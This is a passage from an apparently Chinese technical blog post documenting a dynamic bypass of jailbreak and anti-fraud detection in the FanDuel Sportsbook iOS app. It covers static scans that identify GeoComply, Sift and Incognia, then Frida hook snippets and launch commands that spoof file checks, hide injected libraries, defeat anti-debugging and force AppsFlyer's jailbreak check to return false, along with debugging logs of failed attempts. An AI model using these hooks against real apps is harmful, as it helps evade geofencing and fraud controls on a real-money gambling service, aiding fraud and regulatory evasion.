设备信息收集器）里，同样只是日志字段不杀。</span></span></p></li></ul><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct1hkk" style="font-size: 15px;"><span leaf="">2.4 扫更激进的 RASP 关键字</span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctmmt"><span leaf="">frida, Frida, FRIDA                 → <span class="code-snippet__number">0</span> hits</span><span leaf=""><br/></span><span leaf="">cynject, libhooker, libsubstitute   → <span class="code-snippet__number">0</span> hits</span><span leaf=""><br/></span><span leaf="">DYLD_INSERT_LIBRARIES                → <span class="code-snippet__number">0</span> hits</span><span leaf=""><br/></span><span leaf="">PT_DENY_ATTACH                       → <span class="code-snippet__number">0</span> hits</span><span leaf=""><br/></span><span leaf="">GeoComply                            → <span class="code-snippet__number">30</span>+ hits  ✓</span><span leaf=""><br/></span><span leaf="">Sift                                 → <span class="code-snippet__number">60</span>+ hits  ✓</span><span leaf=""><br/></span><span leaf="">IncdOnboarding (Incognia)            → 有        ✓</span><span leaf=""><br/></span><span leaf="">PredictsFraudMonitorPlugin           → <span class="code-snippet__number">1</span> hit     ✓ (FanDuel 自建)</span></code></pre></p><p><span mpa-font-style="moxxn7ct24gn" style="font-size: 15px;"><strong><span leaf="">发现的反欺诈栈</span></strong><span leaf="">：GeoComply（地理围栏 + RASP）、Sift Science（行为反欺诈）、Incognia（设备指纹）、PredictsFraudMonitor（自建）。静态字串都不像会直接</span><code><span leaf="">abort</span></code><span leaf="">，而是做数据上报。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct1yc" style="font-size: 15px;"><span leaf="">2.5 扫</span><code><span leaf="">exit / _exit / abort / ptrace</span></code></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctmhg"><span leaf="">imports:</span><span leaf=""><br/></span><span leaf="">  _exit                 → libSystem.B.dylib       ✓</span><span leaf=""><br/></span><span leaf="">  _sysctl/_sysctlbyname → libSystem.B.dylib       ✓</span><span leaf=""><br/></span><span leaf="">  _task_info            → libSystem.B.dylib       ✓</span><span leaf=""><br/></span><span leaf="">  _getppid              → libSystem.B.dylib       ✓</span><span leaf=""><br/></span><span leaf="">  __dyld_get_image_header → libSystem.B.dylib     ✓</span><span leaf=""><br/></span><span leaf="">  ptrace                → NOT imported            ✗</span><span leaf=""><br/></span><span leaf="">  csops                 → NOT imported            ✗</span></code></pre></p><p><span mpa-font-style="moxxn7ctieu" style="font-size: 15px;"><span leaf="">xrefs 追</span><code><span leaf="">_exit</span></code><span leaf="">的 3 个 code 调用点全在 Firebase Crashlytics（mach exception server / signal handler）内部 —— 都是崩溃处理走的路径，</span><strong><span leaf="">非主动杀</span></strong><span leaf="">。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ctg1" style="font-size: 15px;"><span leaf="">2.6 找直接 syscall（</span><code><span leaf="">svc #0x80</span></code><span leaf="">）</span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct24hs"><span leaf="">find_bytes <span class="code-snippet__keyword">pattern</span></span><span leaf="">=</span><span leaf=""><span class="code-snippet__number">01</span> <span class="code-snippet__number">10</span> <span class="code-snippet__number">00</span> D4     → <span class="code-snippet__number">6</span> <span class="code-snippet__keyword">matches</span></span></code></pre></p><p><span mpa-font-style="moxxn7ct1l6y" style="font-size: 15px;"><span leaf="">6 条 match 全部</span><strong><span leaf="">不是 4 字节对齐</span></strong><span leaf="">，都落在</span><code><span leaf="">__gcc_except_tab</span></code><span leaf="">等数据段的字节序巧合 —— 假阳性。二进制里</span><strong><span leaf="">没有</span></strong><span leaf="">直接绕 libc 的 syscall 调用。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ctvp3" style="font-size: 15px;"><span leaf="">2.7 扫</span><code><span leaf="">__init_offsets</span></code><span leaf="">（iOS 16 新版 init 段）</span></span></h3><p><span mpa-font-style="moxxn7ctyqj" style="font-size: 15px;"><span leaf="">用</span><code><span leaf="">py_eval</span></code><span leaf="">在 IDA 里读 segment，</span><code><span leaf="">0x102066a00..0x102066bc8</span></code><span leaf="">，一共 114 个初始化函数指针。逐个检查最前的几个：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct104v"><span leaf="">sub_10000400C: <span class="code-snippet__built_in">objc_opt_class</span>(&amp;BetTracker); +</span><span leaf="">[RNCasinoGameInfoViewContainerManager load]</span><span leaf=""><span class="code-snippet__built_in">_0</span>(...)</span><span leaf=""><br/></span><span leaf="">sub_1000040A0: <span class="code-snippet__built_in">objc_opt_class</span>(&amp;TimestampModuleBridge); ...</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// 所有 entry 都是这种 RN module 注册 stub，没有 RASP 检测</span></span></code></pre></p><blockquote><p><span mpa-font-style="moxxn7ct1cft" style="font-size: 15px;"><strong><span leaf="">阶段结论</span></strong><span leaf="">：静态看不到明显的&#34;调</span><code><span leaf="">_exit</span></code><span leaf="">的 JB 判定&#34;。真正的杀必然在三方 SDK（GeoComply / Incognia / Sift）内部，或者走非常规路径。得上动态。</span></span></p></blockquote><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">3. 第一次动态绕过尝试：全面但翻车</span></strong></p></div></div></div></div></div></div></div></div></div><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct15pc" style="font-size: 15px;"><span leaf="">3.1 最初脚本（v1）</span></span></h3><p><span leaf="" mpa-font-style="moxxn7ct1k7u" style="font-size: 15px;">覆盖所有经典 JB 检测面：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span mpa-font-style="moxxn7ct1p7c" style="font-size: 15px;"><span leaf="">Objective-C：</span><code><span leaf="">NSFileManager fileExistsAtPath:</span></code><span leaf="">/</span><code><span leaf="">UIApplication canOpenURL:</span></code><span leaf="">/ AppsFlyer JB 接口重写</span></span></p></li><li><p><span mpa-font-style="moxxn7ctswd" style="font-size: 15px;"><span leaf="">libc：</span><code><span leaf="">stat / lstat / access / open / openat / fopen / ... / statfs</span></code></span></p></li><li><p><span mpa-font-style="moxxn7ct1qby" style="font-size: 15px;"><span leaf="">dyld 隐身：</span><code><span leaf="">getenv(&#34;DYLD_INSERT_LIBRARIES&#34;)</span></code><span leaf="">、</span><code><span leaf="">dlopen</span></code><span leaf="">/</span><code><span leaf="">dlsym</span></code><span leaf="">过滤、</span><strong><code><span leaf="">_dyld_image_count</span></code><span leaf="">+</span><code><span leaf="">_dyld_get_image_name</span></code><span leaf="">replace 重写</span></strong></span></p></li><li><p><span mpa-font-style="moxxn7ct1agr" style="font-size: 15px;"><span leaf="">反反调试：</span><code><span leaf="">ptrace</span></code><span leaf="">no-op、</span><code><span leaf="">sysctl KERN_PROC_PID</span></code><span leaf="">清</span><code><span leaf="">P_TRACED</span></code></span></p></li><li><p><span mpa-font-style="moxxn7ct1ch8" style="font-size: 15px;"><span leaf="">GeoComply 启发式扫描（</span><code><span leaf="">GC*</span></code><span leaf="">/</span><code><span leaf="">Solus*</span></code><span leaf="">前缀的类全 hook）</span></span></p></li><li><p><span mpa-font-style="moxxn7ct1qwy" style="font-size: 15px;"><span leaf="">Crashlytics / Sentry 的</span><code><span leaf="">isBeingTraced</span></code><span leaf="">改 NO</span></span></p></li></ul><p><span leaf="" mpa-font-style="moxxn7ctmhn" style="font-size: 15px;">启动命令：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct1t14"><span leaf="">frida -H <span class="code-snippet__number">127.0.0.1</span> -f com.fanduel.sportsbook -l bypass.js <span class="code-snippet__comment">--runtime=v8</span></span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct8vi" style="font-size: 15px;"><span leaf="">3.2 结果</span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctwv"><span leaf="">Connected</span><span leaf="">to</span><span leaf=""><span class="code-snippet__number">127.0</span></span><span leaf="">.0</span><span leaf="">.1</span><span leaf=""> (id=socket<span class="code-snippet__variable">@127</span>.<span class="code-snippet__number">0.0</span>.<span class="code-snippet__number">1</span>)</span><span leaf=""><br/></span><span leaf="">Failed</span><span leaf="">to</span><span leaf="">load</span><span leaf="">script</span><span leaf="">: </span><span leaf="">the</span><span leaf="">connection</span><span leaf="">is</span><span leaf="">closed</span></code></pre></p><p><span mpa-font-style="moxxn7ct9y7" style="font-size: 15px;"><strong><span leaf="">脚本根本没装上，frida-agent 的 IPC 就断了</span></strong><span leaf="">。排查两个嫌疑：</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><code mpa-font-style="moxxn7ctgnq" style="font-size: 15px;"><span leaf="">--runtime=v8</span></code><p><span leaf="" mpa-font-style="moxxn7ctzcq" style="font-size: 15px;">在 iOS 16 + palera1n 上可能 JIT 失败。</span></p></li><li><p><span mpa-font-style="moxxn7ct1opt" style="font-size: 15px;"><span leaf="">我对</span><code><span leaf="">_dyld_image_count</span></code><span leaf="">做了</span><code><span leaf="">Interceptor.replace</span></code><span leaf="">，replacement 里又调</span><code><span leaf="">new NativeFunction(imgCount, ...)</span></code><span leaf="">调回原符号 ——</span><strong><span leaf="">这是自递归</span></strong><span leaf="">，因为</span><code><span leaf="">replace</span></code><span leaf="">之后该地址已经指向我们的 trampoline。栈溢出直接让 agent 死。</span></span></p></li></ul><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ctk6b" style="font-size: 15px;"><span leaf="">3.3 修复</span></span></h3><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moxxn7ct162" style="font-size: 15px;">换成默认 QJS runtime；</span></p></li><li><p><span mpa-font-style="moxxn7ctzv" style="font-size: 15px;"><span leaf="">不 replace 整个 dyld API，改成</span><code><span leaf="">Interceptor.attach</span></code><span leaf="">在</span><code><span leaf="">onLeave</span></code><span leaf="">里把被挑出的 image name 指针</span><strong><span leaf="">就地替换</span></strong><span leaf="">为</span><code><span leaf="">/usr/lib/system/libsystem_pthread.dylib</span></code><span leaf="">这种无害字符串。</span></span></p></li></ul><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">4. 故障定位：script 根本没加载成功</span></strong></p></div></div></div></div></div></div></div></div></div><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct1anf" style="font-size: 15px;"><span leaf="">4.1 先证明&#34;chain 本身没坏&#34;</span></span></h3><p><span mpa-font-style="moxxn7ct14ul" style="font-size: 15px;"><span leaf="">写最小脚本</span><code><span leaf="">test_min.js</span></code><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctfnl"><span leaf=""><span class="code-snippet__variable">console</span>.<span class="code-snippet__title">log</span>(<span class="code-snippet__string">&#39;[MIN] script loaded&#39;</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__variable">console</span>.<span class="code-snippet__title">log</span>(<span class="code-snippet__string">&#39;[MIN] process : &#39;</span> + <span class="code-snippet__title">Process</span>.</span><span leaf="">id</span><span leaf=""> + <span class="code-snippet__string">&#39; &#39;</span> + <span class="code-snippet__title">Process</span>.</span><span leaf="">arch</span><span leaf="">);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__variable">console</span>.<span class="code-snippet__title">log</span>(<span class="code-snippet__string">&#39;[MIN] main    : &#39;</span> + <span class="code-snippet__title">Process</span>.</span><span leaf="">mainModule</span><span leaf="">.</span><span leaf="">name</span><span leaf=""> + <span class="code-snippet__string">&#39; base=&#39;</span> + <span class="code-snippet__title">Process</span>.</span><span leaf="">mainModule</span><span leaf="">.</span><span leaf="">base</span><span leaf="">);</span></code></pre></p><p><span leaf="" mpa-font-style="moxxn7ct1t60" style="font-size: 15px;">用默认 runtime 跑：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct1rst"><span leaf="">[</span><span leaf="">MIN</span><span leaf="">] script loaded</span><span leaf=""><br/></span><span leaf="">[</span><span leaf="">MIN</span><span leaf="">] process : <span class="code-snippet__number">51969</span> arm64</span><span leaf=""><br/></span><span leaf="">[</span><span leaf="">MIN</span><span leaf="">] main    : SportsbookWrapper <span class="code-snippet__keyword">base</span>=<span class="code-snippet__number">0x10029c000</span></span><span leaf=""><br/></span><span leaf="">[</span><span leaf="">MIN</span><span leaf="">] objc    : <span class="code-snippet__literal">true</span></span><span leaf=""><br/></span><span leaf="">[</span><span leaf="">MIN</span><span leaf="">] runtime : QJS</span><span leaf=""><br/></span><span leaf="">Spawned `com.fanduel.sportsbook`. Resuming main thread!</span></code></pre></p><p><span mpa-font-style="moxxn7ctj1z" style="font-size: 15px;"><strong><span leaf="">脚本能装</span></strong><span leaf="">。所以之前是 v8 的问题。弃用</span><code><span leaf="">--runtime=v8</span></code><span leaf="">。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7cty0v" style="font-size: 15px;"><span leaf="">4.2 逐段加 hook，找出是哪段把 agent 搞崩</span></span></h3><p><span mpa-font-style="moxxn7ctpqn" style="font-size: 15px;"><span leaf="">把脚本分成 1→2→...→N 个 section，每段跑完打</span><code><span leaf="">ok(...)</span></code><span leaf="">标志。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctgkf"><span leaf="">[JB-BYPASS]</span><span leaf=""> + NSFileManager hooks installed</span><span leaf=""><br/></span><span leaf="">[JB-BYPASS]</span><span leaf=""> + UIApplication canOpenURL hook installed</span><span leaf=""><br/></span><span leaf="">[JB-BYPASS]</span><span leaf=""> + +</span><span leaf="">[AppsFlyerUtils isJailbrokenWith...]</span><span leaf=""> -&gt; NO</span><span leaf=""><br/></span><span leaf="">Failed </span><span leaf="">to</span><span leaf=""> load script: the connection is closed        ← 死在这里</span></code></pre></p><p><span leaf="" mpa-font-style="moxxn7ct1v8j" style="font-size: 15px;">下一段是：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctk17"><span leaf="">const</span><span leaf=""> inst = lib.<span class="code-snippet__built_in">shared</span>();   <span class="code-snippet__comment">// 在 spawn-gated 状态下主动调用 +[AppsFlyerLib shared]</span></span><span leaf=""><br/></span><span leaf="">inst.<span class="code-snippet__built_in">setSkipAdvancedJailbreakValidation_</span>(<span class="code-snippet__number">1</span>);</span></code></pre></p><p><span mpa-font-style="moxxn7ctxqw" style="font-size: 15px;"><strong><span leaf="">Spawn-gated 期间主动调 OC 方法触发 AppsFlyer 内部 init 副作用</span></strong><span leaf="">（可能要 dispatch 到主线程，但主线程还冻着），直接死锁/崩溃。</span></span></p><p><span mpa-font-style="moxxn7ct1g8u" style="font-size: 15px;"><strong><span leaf="">修复</span></strong><span leaf="">：永远不在 bypass 阶段&#34;主动调&#34;OC，只&#34;被动 hook&#34;。把 setter 调用换成 hook</span><code><span leaf="">-[AppsFlyerLib skipAdvancedJailbreakValidation]</span></code><span leaf="">的 getter，永远返回 YES：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct1b1d"><span leaf=""><span class="code-snippet__title">Interceptor</span>.<span class="code-snippet__title">attach</span>(lib[<span class="code-snippet__string">&#39;- skipAdvancedJailbreakValidation&#39;</span>].</span><span leaf="">implementation</span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    { <span class="code-snippet__title">onLeave</span>(<span class="code-snippet__params">r</span>) { r.<span class="code-snippet__title">replace</span>(<span class="code-snippet__title">ptr</span>(<span class="code-snippet__number">1</span>)); } });</span></code></pre></p><p><span mpa-font-style="moxxn7ct1w5j" style="font-size: 15px;"><span leaf="">然后继续，下一段</span><code><span leaf="">hookGeoComply()</span></code><span leaf="">里</span><code><span leaf="">Object.keys(ObjC.classes)</span></code><span leaf="">全扫（2 万+ 类），太慢，同样把 agent 拖超时。</span><strong><span leaf="">改成</span><code><span leaf="">setTimeout(hookGeoComply, 400)</span></code><span leaf="">延后到 resume 后再扫</span></strong><span leaf="">。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">5. 走对路径后的第一次&#34;看见进程启动&#34;</span></strong></p></div></div></div></div></div></div></div></div></div><p><span leaf="" mpa-font-style="moxxn7ctnud" style="font-size: 15px;">此时 hook 能全部装上：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct1w36"><span leaf="">[JB-BYPASS]</span><span leaf=""> + bypass ready</span><span leaf=""><br/></span><span leaf="">[HB]</span><span leaf=""> heartbeat armed</span><span leaf=""><br/></span><span leaf="">Spawned `com</span><span leaf="">.fanduel</span><span leaf="">.sportsbook</span><span leaf="">`. Resuming </span><span leaf="">main</span><span leaf=""> thread!</span></code></pre></p><p><span mpa-font-style="moxxn7ct5ie" style="font-size: 15px;"><span leaf="">但用 Python 宿主</span><code><span leaf="">run.py</span></code><span leaf="">跑监控循环，结果：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct13td"><span leaf="">[!] session detached: process-terminated crash=<span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">[=] alive <span class="code-snippet__keyword">for</span> <span class="code-snippet__number">0.0</span>s (dead=<span class="code-snippet__literal">True</span>)</span></code></pre></p><p><span mpa-font-style="moxxn7ct1idh" style="font-size: 15px;"><strong><span leaf="">进程在 resume 后立刻死，仍然是 0 秒</span></strong><span leaf="">。且</span><code><span leaf="">crash=None</span></code><span leaf="">表示是&#34;干净终止&#34;而不是崩溃。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">6. 误判与纠偏：进程并不是被&#34;外部杀&#34;的</span></strong></p></div></div></div></div></div></div></div></div></div><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct521" style="font-size: 15px;"><span leaf="">6.1 noexit 实验（错误版）</span></span></h3><p><span leaf="" mpa-font-style="moxxn7ct1l2q" style="font-size: 15px;">假设：既然 hook 全装了 JB 还被杀 → 一定是别的信号。</span></p><p><span mpa-font-style="moxxn7ctr5m" style="font-size: 15px;"><span leaf="">尝试</span><code><span leaf="">noexit.js</span></code><span leaf="">：把</span><code><span leaf="">exit / _exit / abort / raise / kill / pthread_kill / __cxa_throw / objc_terminate / ...</span></code><span leaf="">一股脑用</span><code><span leaf="">Interceptor.replace(p, new NativeCallback(()=&gt;0, &#39;int&#39;, []))</span></code><span leaf="">全 no-op 化。</span></span></p><p><span mpa-font-style="moxxn7ct242m" style="font-size: 15px;"><span leaf="">结果：</span><strong><span leaf="">进程还是 0 秒死</span></strong><span leaf="">，而且</span><code><span leaf="">[NOEXIT] sym called</span></code><span leaf="">一条都没打。</span></span></p><p><span mpa-font-style="moxxn7ct1oj8" style="font-size: 15px;"><strong><span leaf="">当时的错误结论</span></strong><span leaf="">：既然所有 exit 原语都被替换为 no-op 还立刻死，杀进程肯定走的是 mach 级（</span><code><span leaf="">task_terminate</span></code><span leaf="">）或者 SIGKILL。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct24az" style="font-size: 15px;"><span leaf="">6.2 进一步对照证据（加深了错判）</span></span></h3><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><strong mpa-font-style="moxxn7ct1par" style="font-size: 15px;"><span leaf="">对照组</span></strong><p><span mpa-font-style="moxxn7ct1yju" style="font-size: 15px;"><span leaf="">用</span><code><span leaf="">spawn_only.py</span></code><span leaf="">只</span><code><span leaf="">device.spawn</span></code><span leaf="">后</span><code><span leaf="">device.resume</span></code><span leaf="">，不 attach 任何 session → 进程 0.6s 死。</span></span></p></li><li><strong mpa-font-style="moxxn7ct1lhz" style="font-size: 15px;"><span leaf="">msgSend 全量追踪</span></strong><p><span mpa-font-style="moxxn7ctpwx" style="font-size: 15px;"><span leaf="">能抓到 1633 次</span><code><span leaf="">objc_msgSend</span></code><span leaf="">，全是 Foundation + Apple Vision framework 初始化；没一次落到 FanDuel 自己的</span><code><span leaf="">+load</span></code><span leaf="">。</span></span></p></li><li><strong mpa-font-style="moxxn7ct1cq" style="font-size: 15px;"><span leaf="">其他 app 对照</span></strong><p><span mpa-font-style="moxxn7ctbgp" style="font-size: 15px;"><code><span leaf="">Lamoda / Winpot Casino / App Store / Safari</span></code><span leaf="">同设备同 frida spawn 全部正常。</span></span></p></li></ul><p><span leaf="" mpa-font-style="moxxn7ct1elb" style="font-size: 15px;">这一串证据把我往&#34;外部 SIGKILL / launchd entitlement 拒绝&#34;方向带偏了，写了一大段总结放弃 Frida 路线建议用 Substrate tweak。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct86c" style="font-size: 15px;"><span leaf="">6.3 关键误判点</span></span></h3><p><span mpa-font-style="moxxn7ctkx6" style="font-size: 15px;"><span leaf="">后来才明白：</span><strong><code><span leaf="">Interceptor.replace(exit_like, ()=&gt;0)</span></code><span leaf="">替换一个 noreturn 函数是错的</span></strong><span leaf="">。</span><code><span leaf="">exit/abort</span></code><span leaf="">被编译器标记</span><code><span leaf="">__attribute__((noreturn))</span></code><span leaf="">，调用点后面</span><strong><span leaf="">不保留合法返回路径</span></strong><span leaf="">（常常编译成</span><code><span leaf="">BL abort; UDF #0</span></code><span leaf="">或者直接接下一个 basic block 的其他代码）。我们的 no-op 